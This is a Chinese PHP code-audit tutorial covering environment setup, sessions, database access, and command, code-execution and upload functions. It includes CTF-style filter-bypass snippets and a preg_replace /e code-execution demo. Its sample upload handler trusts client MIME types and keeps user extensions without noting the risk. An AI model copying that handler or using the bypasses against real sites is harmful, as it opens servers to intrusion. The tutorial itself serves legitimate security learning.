PHP 代码审计基础

sky123

环境搭建

软件安装

PHPStudy

通常配置 WEB 环境是一个非常繁琐的过程,但是 PHPStudy 内置了很多自动化的脚本将这个过程变得比较方便,这样我们就可以把主要精力放在审计代码上了。

Windows 平台

Windows 版直接下载安装即可。

Linux 平台

Linux 版有专门的安装脚本,安装完后根据提供的网址访问管理网页进行后续配置。

1
wget -O install.sh https://notdocker.xp.cn/install.sh && sudo bash install.sh

Linux 版有时候登录会有这个错误:

按照提示修复即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
➜  sky123 xp

===============请输入以下指令编号==============

1) 启动小皮面板
2) 停止小皮面板
3) 重启小皮面板
4) 查询面板状态
5) 修改登录密码
6) 查看面板登录信息
7) 修复主控web面板
8) 查看首次安装信息
9) 修改面板监听端口
10) 重置登录授权码
11) 检查更新
12) 查看版本
13) 取消域名访问
14) 取消授权ip限制
16) 切换php环境变量版本
98) 卸载小皮面板
99) 退出本页


请输入以上指令编号:7
--2024-06-11 01:37:41-- https://backups-nodocker.xp.cn/X1.29/web.tar.xz?ver=20230207
Resolving backups-nodocker.xp.cn (backups-nodocker.xp.cn)... 222.88.95.38
Connecting to backups-nodocker.xp.cn (backups-nodocker.xp.cn)|222.88.95.38|:443... connected.
...
successphpstudy restart

==============运行状态=========================

webpanel stop
phpstudy stop
starting..
[11-Jun-2024 01:39:57] NOTICE: PHP message: PHP Warning: Module 'xdebug' already loaded in Unknown on line 0

==============运行状态=========================

webpanel running
phpstudy running
修复完成

mysql 安装位置如下,直接 mysql 是小皮的 mysql 管理。

1
/usr/local/phpstudy/soft/mysql/mysql-8.0.16/bin/mysql

PHPStorm

PHPStorm 是一款优秀的 IDE,方便审计调试代码。直接在 Windows 上装一个,调试就远程调试即可。

xdebug-helper

xdebug-helper 是一个火狐浏览器插件,用户可以借助其设置 IDE key 从而快速与 IDE 建立调试关系(本质就是在 cookie 中添加 IDE 默认的 IDE key)。

网站搭建

在审计代码时,测试功能和调试代码是必不可少的。为了方便快速搭建一个测试网站,可以使用 PHPStudy,它是一款集成环境,可以快速部署 PHP + MySQL + Apache/Nginx 环境。下面是使用 PHPStudy 搭建网站的主要步骤:

  • 点击“启动”按钮,启动 Apache 或 Nginx 以及 MySQL 服务。
  • 创建网站,端口就默认的 80 即可,如果冲突再换其他端口(本质上是在改 WEB 服务器的监听端口,例如 apache 改的是 /usr/local/phpstudy/vhost/apache/ports.conf 文件)。
  • 根据代码初始化数据库,数据库初始默认账号密码都是 root

远程调试 PHP 代码

配置 Xdebug 插件

在 PHPStudy 设置开启 XDebug 插件。

Windows 平台

Windows 系统开启位置如下:

注意

有时候 PHPStudy 的这个开关可能不太好使,最好到 PHP 的配置文件中看看 xdebug.remote_enable 是否开着。

Linux 平台

Linux 系统开启位置如下:

坑点:

  • 这里 PHPStudy 可能有一些 BUG,比如 5.3.29 版本的 PHP 没有这个选项,但可能 PHP 已经自带 XDebug 了。
  • Linux 版的 XDebug 需要用户手动修改 XDebug 插件,主要添加如下内容。其中 xdebug.remote_host 是 PHPStorm 所在主机的 IP 地址* ,PHPStorm 会监听所在主机的 9000 端口(默认配置)等待 XDebug 连接。为了获取准确的 IP 地址,可以在 PHPStorm 所在主机访问 phpinfo 然后查看 _SERVER["REMOTE_ADDR"] 选项对应的 IP。
    1
    2
    3
    4
    5
    6
    [xdebug]
    zend_extension="xdebug.so"
    xdebug.remote_enable=1
    xdebug.remote_host=172.30.208.1
    xdebug.remote_port=9000
    xdebug.remote_handler=dbgp

配置 PHPStorm

PHPStorm 的设置 → PHP → 调试可以进行 PHP 远程调试的相关配置,这里保持默认配置即可。

之后是运行/调试配置* ,主要需要配置的关键内容为:

  • 创建“PHP 网页”配置。
  • 配置中选择服务器。
    • 主机 IP 和端口为网站对应的 IP 和端口。
    • 设置文件目录映射* ,以便在本地文件能与 XDebug 的调试信息对应起来。

如何远程调试

点击调试按钮

一种方法是直接点击调试按钮,此时会弹出所调试网站的主页,其中 URL 会传一个 XDEBUG_SESSION_START 参数。

我们只要在要调试的页面上传入这个参数就可以调试。

并且之后 XDEBUG_SESSION_START 就变成了网页对应的 cookie,每次访问网页都会自带。因此再次访问网页会直接触发断点,不需要在 URL 传 XDEBUG_SESSION_START 参数。

开启监听调试

另一种比较简单的方式是开启监听调试,插件开启 Debug 模式,然后访问目标网页。

根据这个原理,我们也可以通过在 python 代码中添加相应 cookie 来调试 PHP 。

1
requests.get(url, cookies={'XDEBUG_SESSION':'PHPSTORM'})

远程同步开发

在调试分析代码的过程中不可避免的要对源码进行修改。由于是远程调试,修改源码还有将远程和本地代码一同修改,这样操作比较麻烦。好在 PHPStorm 有基于 FTP 服务的远程同步开发,可以做到本地和远程代码同步修改。

配置 FTP 服务器

在 PHPStudy 中创建 FTP 服务器,其中跟目录可以设置项目目录。注意要在首页启动 FTP 服务器。

Linux 版的 PHPStudy 的 FTP 创建过程类似。不过 FTP 不需要手动开启。

配置 PHPStorm

在 PHPStorm 的设置 → 构建、执行、部署 → 部署 中添加 FTP 服务器。

  • 连接:
    • 主机端口设置为 FTP 服务器的 IP 和端口。
    • 用户名、密码与创建的 FTP 相同。
    • PHPStorm 是在 FTP 的根路径基础上寻找根路径的,因此根路径这里需要设置 \ 即可。
  • 映射:
    • 本地路径为本地项目绝对路径。
    • 部署路径为相对于前面的跟路径的相对路径。
    • WEB 路径为相对于 WEB 服务器 URL 的相对路径(貌似不重要)。

如何远程同步开发

首先在窗口的右下角可以选择与哪个 WEB 服务器进行远程同步开发。

工具 → 部署 中有「自动上传」和「浏览远程主机两个设置」两个关键设置。

点击浏览远程主机选项可以查看 FTP 根目录下的文件。

自动上传功能能够将本地修改的文件自动上传到远程服务器。注意这里虽然是自动上传,但是只有按 Ctrl + s 键的时候才会同步当前文件。我们可以文件传输窗口看到文件是否同步。

另外我们可以在项目根目录右键然后在部署中选择与远程服务器同步。

PHP 基础

PHP 语言特性

preg_match 相关

preg_match() 是 PHP 中用于执行正则表达式匹配的函数。该函数的函数原型如下:

1
int preg_match(string $pattern, string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]])
  • 参数:

    • $pattern (string)

      • 要匹配的正则表达式模式。它可以是任何有效的正则表达式字符串(可以使用各种正则表达式语法,如字符集、量词、分组等)。

      • 正则表达式必须符合 PHP 正则表达式的语法标准,通常以斜杠 / 包裹。例如:/abc/

    • $subject (string)

      • 被匹配的输入字符串。这是要在其中查找匹配的目标字符串。
    • $matches (array, optional)

      • 如果提供了该参数,函数会将匹配的结果存储到该数组中。匹配项会按顺序存储在 $matches 数组中:

        • $matches[0] 保存完整的匹配字符串。
        • $matches[1]$matches[2] 等保存正则表达式中分组的匹配结果(如果有分组)。
      • 该参数是通过引用传递的,因此函数会直接修改该数组的内容。

    • $flags (int, optional)

      • 控制匹配行为的标志位,默认为 0,即无特殊控制。

      • 常见的标志包括:

        • PREG_OFFSET_CAPTURE :如果启用此标志,则在 $matches 数组中每个匹配项将包含匹配的偏移量(即该匹配项在原字符串中的位置)。偏移量是一个由字符串和数字组成的数组。
    • $offset (int, optional)

      • 设置开始匹配的偏移量。默认为 0,即从字符串的开头开始匹配。

      • 可以通过此参数跳过字符串的前几个字符进行匹配。

  • 返回值:

    • 如果匹配成功,返回 1* ,否则返回 **0**。

    • 如果发生错误,返回 **FALSE**。这通常意味着正则表达式的语法不正确。

数组绕过

preg_match 第二个参数 subject 要求是字符串,如果传入数组时会返回 false

例如下面这段代码,传入 num[]=2 即可绕过。

1
2
3
4
5
if(preg_match("/[0-9]/", $num)) {
die("no no no!");
} else(intval($num)) {
echo $flag;
}

换行符绕过

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);

if (preg_match('/^gxngxngxnxn$/', $_GET['gxn']) && $_GET['gxn'] !== 'gxngxngxn') {
echo "Neeeeee! Good Job!<br>";
}
?>

会话跟踪技术

会话跟踪(Session Tracking) 是 Web 开发中非常重要的一部分,特别是在无状态的 HTTP 协议中。因为 HTTP 是无状态的协议,这意味着每次用户发送请求时,服务器无法自动识别这是不是同一个用户。在这样的背景下,会话跟踪 技术帮助 Web 应用程序保持和识别用户状态,从而实现个性化功能、购物车、用户认证等功能。

Session(会话) 是一种在客户端和服务器之间跟踪用户状态的技术。会话允许 Web 应用在多个请求之间保持用户的状态(如用户登录状态、用户个性化设置等)。每个用户会话都由一个 唯一的会话 ID 标识,服务器根据这个 ID 来识别每个用户的会话。

基本过程

PHP 通过 会话(Session) 机制来追踪用户的请求。会话跟踪的基本过程是:

  1. 用户第一次访问网站时,服务器生成一个唯一的 Session ID

  2. 服务器在用户的浏览器中设置一个 Session Cookie。Cookie 的名称通常为 PHPSESSID,保存的是唯一的 Session ID。

  3. 随后,用户每次请求时,都会通过 Session ID 来识别是否是同一个用户,进而获取和存储用户的数据。

代码实现

启动会话

在 PHP 页面中使用 会话跟踪 时,必须通过 session_start() 来启动会话。每个页面在使用会话数据之前,都应该调用 session_start()

注意

session_start() 必须在任何 HTML 输出之前调用(即 <html> 标签之前),否则会导致“Header already sent”错误。

session_start() 调用时会开启一个会话,具体有如下过程:

  1. 读取会话 ID(Session ID) :PHP 会检查客户端请求中是否携带会话 ID。
    • 通过 Cookie :默认情况下,会话 ID 存储在客户端的 Cookie 中,名为 PHPSESSID。PHP 会从客户端的 Cookie 中读取该 Session ID。
    • 通过 URL 重写 :如果客户端没有 Cookie 或者 Cookie 被禁用,PHP 会检查 URL 中是否包含会话 ID。会话 ID 会作为查询参数附加在 URL 中(例如 index.php?PHPSESSID=123456)。不过,使用 URL 重写的方式比较少见,通常还是依赖 Cookie。
  2. 检查会话 ID 是否有效 :如果会话 ID 存在,PHP 会检查该 ID 是否有效,通常通过在服务器上查找对应的会话文件来确认。PHP 会话数据通常存储在服务器的临时目录(如 /tmp)中,文件名通常为 sess_<session_id>,其中 <session_id> 就是存储在客户端 Cookie 中的 Session ID。
  3. 加载会话数据 : 如果会话 ID 是有效的,PHP 会从存储该会话数据的文件中读取用户的会话数据,并将其加载到 $_SESSION 超级全局数组中。此时,你可以通过 $_SESSION 数组来访问和修改会话中的数据。
  4. 创建新的会话 : 如果没有找到有效的会话 ID,PHP 会为用户创建一个新的会话 ID,并生成一个新的会话文件用于存储该会话数据。新会话的 ID 会通过 PHPSESSID 存储到客户端的 Cookie 中,以便后续请求能够继续使用该会话 ID。

访问会话数据

PHP 会话数据存储在 $_SESSION 超级全局数组中。你可以通过 $_SESSION 来存储和获取和删除用户数据。

1
2
3
4
5
6
7
8
9
10
11
12
session_start();  // 启动会话

// 存储会话数据
$_SESSION['user_id'] = 123; // 保存用户 ID
$_SESSION['username'] = 'john_doe'; // 保存用户名
$_SESSION['role'] = 'admin'; // 保存用户角色

// 读取会话数据
echo $_SESSION['username']; // 获取用户名

// 删除会话数据
unset($_SESSION['username']); // 删除用户名

提示

会话数据只会在同一会话内有效,用户关闭浏览器后,通常会话数据会被销毁,除非你指定了会话的生命周期。

销毁会话

当用户注销时,我们通常会销毁会话:

1
2
3
4
5
6
7
8
9
10
11
session_start();  // 启动会话

// 清除会话变量
session_unset();

// 销毁会话
session_destroy();

// 重定向到登录页面
header("Location: login.php");
exit;
  • session_unset()清除会话中的所有变量* ,但是 不会销毁会话本身* ,也就是说,session_unset() 只是清除会话数据,并不结束会话,也不会销毁会话 ID。
  • session_destroy() 会销毁 整个会话* ,包括 会话 ID会话数据。调用后,所有与当前会话相关的会话文件都会被标记为无效,并且服务器上的会话数据会被删除。但 会话文件不会立刻删除* ,而是直到下次 session_start() 时,由 PHP 会话垃圾回收机制清理过期的会话文件。

会话相关配置

PHP 允许你通过修改 php.ini 文件或使用 ini_set() 来配置会话的行为,例如会话过期时间、存储位置等。

会话过期时间

会话过期时间 控制着会话数据的最大有效时间,它决定了在没有活动时,PHP 会话将保留多长时间。会话过期后,相关的会话数据将被清理。

  • session.gc_maxlifetime :该配置项决定了会话数据的最大有效时间(默认为 1440,即 24 分钟)。如果会话数据在指定的时间内没有活动,PHP 会将其标记为过期,等待垃圾回收机制清理。

    1
    ini_set('session.gc_maxlifetime', 3600);  // 设置会话最大生命周期为 1 小时
  • session.cookie_lifetime :该配置项设置会话 Cookie 的有效期(单位:秒)。它控制浏览器中存储的会话 Cookie 的生命周期。默认值为 0,即会话 Cookie 会在浏览器关闭时失效。

    1
    ini_set('session.cookie_lifetime', 3600);  // 设置会话 Cookie 的有效期为 1 小时

会话存储位置

默认情况下,PHP 会把会话数据存储在服务器的 /tmp 目录或 PHP 配置中的 session.save_path 目录下。你可以自定义存储位置,例如将会话数据存储在数据库中。

1
2
ini_set('session.save_handler', 'files');  // 默认存储方式(文件)
ini_set('session.save_path', '/path/to/sessions'); // 自定义存储路径

基于会话的认证与鉴权

这里以一个实际的示例讲解如何使用 PHP 会话跟踪(Session Tracking) 实现典型的鉴权和登录认证过程。示例包含三个文件:

  • login.php :处理登录请求的页面。

  • dashboard.php :用户必须登录后才能访问的页面。

  • logout.php :处理用户注销的页面。

登录页面 (login.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
session_start(); // 启动会话

// 如果用户已经登录,直接跳转到控制面板页面
if (isset($_SESSION['user_id'])) {
header('Location: dashboard.php');
exit;
}

// 模拟的用户数据库
$users = [
'admin' => 'password123',
'user' => 'mypassword'
];

// 处理登录表单提交
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];

// 检查用户名和密码是否正确
if (isset($users[$username]) && $users[$username] === $password) {
// 用户名和密码正确,登录成功,存储会话数据
$_SESSION['user_id'] = $username; // 存储用户的用户名作为会话标识
header('Location: dashboard.php'); // 登录成功,跳转到控制面板
exit;
} else {
// 登录失败,显示错误信息
$error = 'Invalid username or password';
}
}
?>

<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<h1>Login</h1>
<?php if (isset($error)) { echo "<p style='color:red;'>$error</p>"; } ?>
<form method="post" action="login.php">
<label for="username">Username:</label><br>
<input type="text" name="username" required><br><br>

<label for="password">Password:</label><br>
<input type="password" name="password" required><br><br>

<button type="submit">Login</button>
</form>
</body>
</html>

  • 如果 $_SESSION['user_id'] 已经存在,说明用户已经登录,那么我们 **直接重定向到 dashboard.php**。
  • 如果用户未登录,则继续显示登录表单,用户填写用户名和密码后进行验证,验证成功后存储会话数据并重定向到 dashboard.php

控制面板页面 (dashboard.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
session_start(); // 启动会话

// 检查用户是否已登录
if (!isset($_SESSION['user_id'])) {
header('Location: login.php'); // 如果用户没有登录,重定向到登录页面
exit;
}

$username = $_SESSION['user_id']; // 获取会话中的用户名
?>

<!DOCTYPE html>
<html>
<head>
<title>Dashboard</title>
</head>
<body>
<h1>Welcome, <?php echo htmlspecialchars($username); ?>!</h1>
<p>You are logged in.</p>
<a href="logout.php">Logout</a>
</body>
</html>

  • 如果会话中不存在 $_SESSION['user_id'],说明用户没有登录,页面会将用户重定向到 login.php 页面。

  • 如果用户已登录,显示欢迎消息并允许用户退出(注销)。

注销页面 (logout.php)

1
2
3
4
5
6
7
8
9
10
<?php
session_start(); // 启动会话

// 销毁会话数据
session_unset(); // 清空所有会话变量
session_destroy(); // 销毁会话

// 重定向到登录页面
header('Location: login.php');
exit;
  • 调用 session_unset() 来清除所有会话变量,确保用户的登录信息被清空。

  • 调用 session_destroy() 来销毁会话,确保会话 ID 被清除。

  • 最后,用户会被重定向到登录页面。

漏洞审计基础

用户可控输入

在 PHP 中,用户可控输入是指通过外部请求(如 HTTP 请求)传入的数据,这些数据通常来源于用户提交的表单、URL 查询字符串、请求头、文件上传等。由于这些数据完全由用户控制,因此在处理这些数据时必须非常小心,防止潜在的安全风险,如 SQL 注入跨站脚本攻击 (XSS) 等。

PHP 提供了多种全局数组和流,允许我们获取这些用户可控输入。

$_SERVER

$_SERVER 是一个关联数组,包含服务器和执行环境的信息。它提供了与请求相关的详细数据,如 HTTP 头、路径、脚本信息等。$_SERVER 还包含一些来自客户端请求的环境变量。

常见字段:

  • $_SERVER['REQUEST_METHOD']:请求的方法(如 GET、POST、PUT)。
  • $_SERVER['QUERY_STRING']:URL 查询字符串部分。
  • $_SERVER['HTTP_USER_AGENT']:用户的浏览器信息。
  • $_SERVER['REMOTE_ADDR']:客户端的 IP 地址。
  • $_SERVER['HTTP_REFERER']:指向当前页面的来源页面的 URL。

数据库相关

PHP 的数据库支持

PHP 通过扩展来支持不同的数据库,每个数据库的扩展都有自己的一套 API。比如:

  • MySQL 使用 MySQLiPDO_MySQL
  • PostgreSQL 使用 pg_connectPDO_PGSQL
  • SQLite 使用 SQLite3PDO_SQLITE
  • Oracle 使用 OCI8

PHP 的设计初期,开发者倾向于为每种数据库写一个独立的扩展,以便简化与每种数据库的交互。种做法虽然简单,但随着时间的推移,不同数据库的访问接口分散且不统一。

尽管 PHP 中有多个数据库扩展,但 PDO (PHP Data Objects) 作为一种统一的数据库访问方法,已经成为 PHP 推荐的标准做法。PDO 提供了一个统一的接口,可以访问不同类型的数据库,支持多种数据库类型,包括 MySQL、PostgreSQL、SQLite、Oracle 等。

常见数据库扩展

PDO (PHP Data Objects)

PDO 是 PHP 的一种数据库抽象层接口,它使得开发者可以使用相同的方式与不同的数据库进行交互。通过 PDO* ,你可以轻松切换不同的数据库而无需修改应用程序的大量代码。

连接数据库
1
2
3
4
5
6
7
try {
$conn = new PDO("mysql:host=localhost;dbname=test", "root", "password");
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); // 设置错误模式为异常
echo "连接成功";
} catch(PDOException $e) {
echo "连接失败: " . $e->getMessage();
}
执行语句

PDO 提供了如下方法来实现 SQL 语句执行:

  • PDO::prepare($sql) :准备 SQL 查询语句。预处理语句可以防止 SQL 注入。

  • PDO::bindParam($parameter, $variable, $data_type) :绑定参数,确保输入的变量符合指定的数据类型。

  • PDO::execute() :执行预处理语句。

  • PDO::fetch() :获取查询结果集中的一行。

  • PDO::fetchAll() :获取查询结果集中的所有行。

例如下面的 PHP 代码实现了根据参数查询数据库并返回结果的操作:

1
2
3
4
5
6
7
8
$stmt = $conn->prepare("SELECT id, name FROM users WHERE email = :email");
$stmt->bindParam(':email', $email);
$email = $_POST['email']; // 假设这是用户提交的邮箱
$stmt->execute();
$result = $stmt->fetchAll(PDO::FETCH_ASSOC); // 获取所有结果
foreach ($result as $row) {
echo "id: " . $row['id'] . " - Name: " . $row['name'] . "<br>";
}

提示

使用 预处理语句prepare)和 参数绑定bindParam)是防止 SQL 注入的最佳实践。这意味着用户的输入不会直接拼接到 SQL 语句中,而是通过绑定参数的方式传递。

MySQLi (MySQL Improved)

MySQLi 是 PHP 用于与 MySQL 和 MariaDB 数据库交互的扩展,提供了过程式和面向对象两种风格。MySQLi 不仅支持预处理语句,还支持事务处理、存储过程等。

SQL 注入的过滤与防护

常见过滤函数

addslashes

addslashes() 函数用于在特定字符前添加反斜杠,以转义这些字符,避免它们在 SQL 查询中被当作语法字符。

1
string addslashes(string $str)
  • 参数:
    • string $string:需要转义的原始字符串。
  • 返回值:返回一个转义后的字符串,对以下字符添加反斜杠:
    • 单引号( '
    • 双引号( "
    • 反斜杠( \
    • NULL 字符( \0

addslashes() 并没有完全防止 SQL 注入,特别是对于复杂的注入攻击,它仍然不能阻止攻击者绕过防护(如使用分号 ;、注释 -- 等),所以它并不是最佳的防护手段。

MySQLi 和 MySQL 的转义函数

mysqli_real_escape_string() 是 MySQLi 扩展中提供的用于转义 SQL 字符串的函数,它比 addslashes() 更安全。

1
2
3
public string mysqli::real_escape_string(string $string)
string mysqli_real_escape_string(mysqli $link, string $escapestring)
string mysql_real_escape_string(string $unescaped_string [, resource $link_identifier])
PDO 的转义函数

常见防护方法

预处理语句
强制类型转换

代码执行相关

系统命令执行函数

exec

exec 函数用于执行外部程序,并返回命令执行的最后一行输出。该函数定义如下:

1
string exec(string $command, array &$output = null, int &$result_code = null)
  • 参数:

    • string $command:要执行的命令字符串。
    • array &$output(可选):以数组形式返回命令的每一行输出。
    • int &$result_code(可选):返回命令执行后的状态码。
  • 返回值:返回命令执行输出的最后一行。如果命令执行失败,则返回 null

  • 示例:

    1
    2
    3
    4
    $lastLine = exec('ls -la', $output, $status);
    print_r($output);
    echo "Last line: $lastLine\n";
    echo "Exit status: $status\n";

system

system 函数用于执行外部程序,并立即将结果输出到标准输出(通常是网页)。该函数定义如下:

1
string|false system(string $command, int &$result_code = null)
  • 参数:

    • string $command:要执行的命令。
    • int &$result_code(可选):返回命令的状态码。
  • 返回值:返回命令输出的最后一行字符串。如果失败,返回 false

  • 示例:

    1
    2
    $lastLine = system("date", $status);
    echo "Exit status: $status\n";

shell_exec

shell_exec 函数用于执行命令并返回完整输出,不直接输出内容。该函数定义如下:

1
string|false shell_exec(string $command)
  • 参数:

    • string $command:要执行的命令。
  • 返回值:返回整个命令的输出(包括换行符)作为字符串。如果执行失败,返回 false

  • 示例:

    1
    2
    $output = shell_exec("uptime");
    echo "<pre>$output</pre>";

passthru

passthru 函数执行命令,并将原始、未格式化的输出直接发送到浏览器。适合处理二进制内容。该函数定义如下:

1
void passthru(string $command, int &$result_code = null)
  • 参数:

    • string $command:要执行的命令。
    • int &$result_code(可选):返回命令状态码。
  • 返回值:无返回值,但可通过 $result_code 获取命令的执行状态。

  • 示例:

    1
    2
    header("Content-Type: image/png");
    passthru("generate_image_binary_command", $status);

popen

popen 函数用于打开一个进程的管道,可以读取或写入进程的输入输出。该函数定义如下:

1
resource|false popen(string $command, string $mode)
  • 参数:

    • string $command:要执行的命令。
    • string $mode:模式,如 "r" 表示读取,"w" 表示写入。
  • 返回值:返回一个文件指针资源,失败时返回 false

  • 示例:

    1
    2
    3
    4
    5
    $handle = popen("ls -la", "r");
    while (!feof($handle)) {
    echo fgets($handle);
    }
    pclose($handle);

proc_open

proc_open 是一个功能强大的函数,可以完全控制子进程的输入、输出、错误流,适合高级命令执行场景。该函数定义如下:

1
2
3
4
5
6
7
resource|false proc_open(
string $command,
array $descriptorspec,
array &$pipes,
?string $cwd = null,
?array $env_vars = null
)
  • 参数:

    • string $command:要执行的命令。
    • array $descriptorspec:定义子进程的 I/O 管道(stdin、stdout、stderr)。
    • array &$pipes:用于接收管道资源的数组。
    • string $cwd(可选):更改子进程的当前工作目录。
    • array $env_vars(可选):设置子进程的环境变量。
  • 返回值:返回进程资源句柄,失败时返回 false

  • 示例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    $desc = [
    0 => ["pipe", "r"],
    1 => ["pipe", "w"],
    2 => ["pipe", "w"],
    ];

    $process = proc_open('php -r "echo strtoupper(fgets(STDIN));"', $desc, $pipes);

    if (is_resource($process)) {
    fwrite($pipes[0], "hello\n");
    fclose($pipes[0]);

    echo stream_get_contents($pipes[1]);
    fclose($pipes[1]);
    fclose($pipes[2]);

    proc_close($process);
    }

反引号(Backticks)

反引号是 PHP 的语法糖,用于执行命令并返回输出,等价于 shell_exec()。使用形式如下:

1
$output = `command`;
  • 参数:

    • 命令字符串,写在反引号内。
  • 返回值:命令执行的完整输出字符串。

  • 示例:

    1
    2
    $output = `whoami`;
    echo $output;

PHP 代码执行函数

eval

eval 函数用于将字符串作为 PHP 代码执行。

1
mixed eval(string $code)
  • 参数:

    • string $code:要执行的 PHP 代码字符串(必须是完整的语句)。
  • 返回值:成功时返回 null(除非代码中有 return 语句),失败时抛出错误。

  • 示例:

    1
    2
    $code = 'echo "Hello from eval!";';
    eval($code);

assert

assert 函数用于判断一个表达式是否为真。在 PHP 7.2.0 之前,传入字符串会被当作 PHP 代码执行。该函数定义如下:

1
bool assert(mixed $expression)
  • 参数:

    • mixed $expression:布尔值或字符串。字符串可能被执行为代码(PHP < 7.2.0)。
  • 返回值:表达式为 true 返回 true,否则抛出警告或异常。

  • 示例:

    1
    assert('phpinfo();'); // PHP < 7.2.0 中等同于 eval

preg_replace(带 /e 修饰符,已废弃)

早期 PHP 版本允许在正则表达式中使用 /e 修饰符将替换字符串作为 PHP 代码执行。PHP 7.0 移除该特性。

preg_replace 函数的定义如下:

1
mixed preg_replace(mixed $pattern, mixed $replacement, mixed $subject [, int $limit = -1 [, int &$count = null]])
  • 参数:
    • string $pattern:要搜索的正则表达式。
    • string $replacement:用于替换匹配内容的字符串,可以使用 $1, $2 等捕获组。
    • string $subject:要搜索和替换的目标文本。
  • 返回值:替换后的字符串。

简单来说 preg_replace 的意思就是通过正则表达式 $pattern$subject 中匹配字符串。将匹配到的字符串替换到 $replacement 中的要被替换的位置上。最后把完成替换的 $replacement 返回。

而对于 /e 模式,以下面这段代码为例:

1
2
$str = 'ls';
preg_replace('/.*/e', 'system("$0")', $str);

/e 模式中,preg_replace() 的处理过程为:

  1. 先执行正则匹配(/.*/ 会匹配整行,比如 'ls')。
  2. 匹配成功后,把 $replacement(也就是 'system("$0")')做变量替换。$0 表示正则匹配到的完整字符串(即整个 $str,值是 'ls')。
  3. 替换后,$replacement 实际变成了 system("ls");
  4. 因为使用了 /e 修饰符,最终这段字符串会被 eval() 执行!

create_function(已废弃)

create_function 用于动态创建匿名函数,底层基于 eval。PHP 7.2 开始废弃,PHP 8.0 移除。定义如下:

1
string create_function(string $args, string $code)
  • 参数:

    • string $args:参数列表。
    • string $code:函数体。
  • 返回值:返回匿名函数。

  • 示例:

    1
    2
    $sum = create_function('$a, $b', 'return $a + $b;');
    echo $sum(3, 4); // 输出 7

回调函数

call_user_func

call_user_func 函数用于调用用户自定义函数或内部函数,并可以传递任意数量的参数。函数名可以是字符串或数组(类名+方法名)。该函数定义如下:

1
mixed call_user_func(callable $callback, mixed ...$args)
  • 参数:

    • callable $callback:要调用的函数名,可以是字符串(如 "strlen"),或 [$object, 'method']['ClassName', 'staticMethod'] 等形式。
    • mixed ...$args:要传递给被调用函数的参数,可变参数数量。
  • 返回值:返回被调用函数的返回值。

  • 示例:

    1
    2
    3
    4
    5
    function sayHello($name) {
    return "Hello, $name!";
    }

    echo call_user_func('sayHello', 'Alice'); // 输出:Hello, Alice!

call_user_func_array

call_user_func_arraycall_user_func 类似,但所有参数需要放在一个数组中,适合参数个数不确定或动态构建的场景。该函数定义如下:

1
mixed call_user_func_array(callable $callback, array $args)
  • 参数:

    • callable $callback:要调用的函数名或方法名。
    • array $args:一个数组,包含传递给回调函数的参数。
  • 返回值:返回被调用函数的返回值。

  • 示例:

    1
    2
    3
    4
    5
    6
    function add($a, $b) {
    return $a + $b;
    }

    $args = [3, 5];
    echo call_user_func_array('add', $args); // 输出:8

文件上传相关

PHP 的文件上传依赖于 HTML 表单和 $_FILES 变量,并遵循 multipart/form-data 方式传输。

PHP 文件操作函数

文件打开与关闭

函数 作用
fopen($file, $mode) 以指定模式打开文件
fclose($handle) 关闭文件句柄

常见的 fopen() 模式:

模式 作用
"r" 只读,文件指针在开头
"w" 只写,清空文件,若不存在则创建
"a" 追加模式,只写,指针在末尾
"r+" 读写,不清空文件,指针在开头
"w+" 读写,清空文件
"a+" 读写,指针在末尾

文件读写操作

函数 作用
fread($handle, $length) 读取指定字节数据
fgets($handle) 读取一行
file_get_contents($file) 读取整个文件
fwrite($handle, $data) 写入数据
file_put_contents($file, $data, FILE_APPEND) 直接写入文件,可追加

删除、移动和检查文件

函数 作用
unlink($file) 删除文件
rename($old, $new) 重命名或移动文件
file_exists($file) 检查文件是否存在
filesize($file) 获取文件大小
pathinfo($file) 获取文件路径信息

目录操作

函数 作用
mkdir($dir, $mode, true) 创建目录
rmdir($dir) 删除空目录
scandir($dir) 获取目录文件列表

PHP 文件上传过程

PHP 的文件上传过程涉及到多个环节,包括客户端浏览器的行为、服务器的临时存储和最终的文件处理。通常来说 PHP 服务端的文件上传处理逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
$uploadDir = "uploads/"; // 目标存储目录

// 检查是否有文件上传
if (isset($_FILES["uploadedFile"]) && $_FILES["uploadedFile"]["error"] == 0) {
$fileTmpPath = $_FILES["uploadedFile"]["tmp_name"]; // 临时文件路径
$fileName = $_FILES["uploadedFile"]["name"]; // 原始文件名
$fileSize = $_FILES["uploadedFile"]["size"]; // 文件大小
$fileType = $_FILES["uploadedFile"]["type"]; // 文件 MIME 类型

// 允许的文件类型
$allowedFileTypes = ["image/jpeg", "image/png", "application/pdf"];
$maxFileSize = 5 * 1024 * 1024; // 5MB 限制

// 获取文件扩展名
$fileExtension = pathinfo($fileName, PATHINFO_EXTENSION);

// 生成新的唯一文件名,防止覆盖
$newFileName = uniqid() . "." . $fileExtension;

// 验证文件类型和大小
if (in_array($fileType, $allowedFileTypes) && $fileSize <= $maxFileSize) {
// 确保上传目录存在
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0777, true);
}

// 目标文件路径
$destPath = $uploadDir . $newFileName;

// 关键步骤:从临时目录移动到目标目录
if (move_uploaded_file($fileTmpPath, $destPath)) {
echo "文件上传成功!存储路径:" . $destPath;
} else {
echo "文件上传失败!";
}
} else {
echo "文件类型不允许或文件过大!";
}
} else {
echo "文件上传失败,错误码:" . $_FILES["uploadedFile"]["error"];
}
?>

客户端发送文件上传请求

客户段上传文件需要发送文件上传请求。在客户端浏览器中,文件上传请求通常由如下表单构造:

1
2
3
4
